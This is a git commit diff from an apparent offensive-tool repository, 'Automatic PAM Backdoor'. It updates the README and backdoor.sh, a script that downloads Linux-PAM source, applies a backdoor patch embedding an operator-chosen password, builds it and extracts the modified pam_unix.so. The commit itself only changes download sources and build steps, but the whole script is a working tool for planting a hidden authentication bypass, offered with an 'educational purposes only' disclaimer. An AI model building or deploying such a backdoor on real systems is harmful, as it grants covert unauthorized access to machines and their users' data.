Changed source to github to support newer versions e.g. 1.3.1
This commit is contained in:
parent
e2f0fafb7c
commit
f03e5a137d
11
README.md
11
README.md
|
@ -24,3 +24,14 @@ After that, you can log-in to the system using an existing user, and the previou
|
||||||
Use this for educational purposes only.
|
Use this for educational purposes only.
|
||||||
I am not responsible for the damage you might cause.
|
I am not responsible for the damage you might cause.
|
||||||
|
|
||||||
|
## Dependencies
|
||||||
|
|
||||||
|
Tested with ubuntu 20.04:
|
||||||
|
* 1.1.8 and older: failed to compile
|
||||||
|
* 1.2.0: worked
|
||||||
|
* 1.3.0 to 1.4.0: worked
|
||||||
|
|
||||||
|
The following packages where used
|
||||||
|
```bash
|
||||||
|
apt install -y autoconf automake autopoint bison bzip2 docbook-xml docbook-xsl flex gettext libaudit-dev libcrack2-dev libdb-dev libfl-dev libselinux1-dev libtool libcrypt-dev libxml2-utils make pkg-config sed w3m xsltproc xz-utils gcc
|
||||||
|
```
|
||||||
|
|
30
backdoor.sh
30
backdoor.sh
|
@ -11,7 +11,7 @@ echo "Automatic PAM Backdoor"
|
||||||
function show_help {
|
function show_help {
|
||||||
echo ""
|
echo ""
|
||||||
echo "Example usage: $0 -v 1.3.0 -p some_s3cr3t_p455word"
|
echo "Example usage: $0 -v 1.3.0 -p some_s3cr3t_p455word"
|
||||||
echo "For a list of supported versions: http://www.linux-pam.org/library/"
|
echo "For a list of supported versions: https://github.com/linux-pam/linux-pam/releases"
|
||||||
}
|
}
|
||||||
|
|
||||||
while getopts ":h:?:p:v:" opt; do
|
while getopts ":h:?:p:v:" opt; do
|
||||||
|
@ -45,9 +45,9 @@ echo "PAM Version: $PAM_VERSION"
|
||||||
echo "Password: $PASSWORD"
|
echo "Password: $PASSWORD"
|
||||||
echo ""
|
echo ""
|
||||||
|
|
||||||
PAM_BASE_URL="http://www.linux-pam.org/library"
|
PAM_BASE_URL="https://github.com/linux-pam/linux-pam/archive"
|
||||||
PAM_DIR="Linux-PAM-${PAM_VERSION}"
|
PAM_DIR="linux-pam-${PAM_VERSION}"
|
||||||
PAM_FILE="Linux-PAM-${PAM_VERSION}.tar.bz2"
|
PAM_FILE="v${PAM_VERSION}.tar.gz"
|
||||||
PATCH_DIR=`which patch`
|
PATCH_DIR=`which patch`
|
||||||
|
|
||||||
if [ $? -ne 0 ]; then
|
if [ $? -ne 0 ]; then
|
||||||
|
@ -55,10 +55,30 @@ if [ $? -ne 0 ]; then
|
||||||
exit 1
|
exit 1
|
||||||
fi
|
fi
|
||||||
wget -c "${PAM_BASE_URL}/${PAM_FILE}"
|
wget -c "${PAM_BASE_URL}/${PAM_FILE}"
|
||||||
|
if [[ $? -ne 0 ]]; then # did not work, trying the old format
|
||||||
|
PAM_DIR="linux-pam-Linux-PAM-${PAM_VERSION}"
|
||||||
|
PAM_FILE="Linux-PAM-${PAM_VERSION}.tar.gz"
|
||||||
|
wget -c "${PAM_BASE_URL}/${PAM_FILE}"
|
||||||
|
if [[ $? -ne 0 ]]; then
|
||||||
|
# older version need a _ instead of a .
|
||||||
|
PAM_VERSION="$(echo $PAM_VERSION | tr '.' '_')"
|
||||||
|
PAM_DIR="linux-pam-Linux-PAM-${PAM_VERSION}"
|
||||||
|
PAM_FILE="Linux-PAM-${PAM_VERSION}.tar.gz"
|
||||||
|
wget -c "${PAM_BASE_URL}/${PAM_FILE}"
|
||||||
|
if [[ $? -ne 0 ]]; then
|
||||||
|
echo "Failed to download"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
tar xjf $PAM_FILE
|
tar xzf $PAM_FILE
|
||||||
cat backdoor.patch | sed -e "s/_PASSWORD_/${PASSWORD}/g" | patch -p1 -d $PAM_DIR
|
cat backdoor.patch | sed -e "s/_PASSWORD_/${PASSWORD}/g" | patch -p1 -d $PAM_DIR
|
||||||
cd $PAM_DIR
|
cd $PAM_DIR
|
||||||
|
# newer version need autogen to generate the configure script
|
||||||
|
if [[ ! -f "./configure" ]]; then
|
||||||
|
./autogen.sh
|
||||||
|
fi
|
||||||
./configure
|
./configure
|
||||||
make
|
make
|
||||||
cp modules/pam_unix/.libs/pam_unix.so ../
|
cp modules/pam_unix/.libs/pam_unix.so ../
|
||||||
|
|
Loading…
Reference in New Issue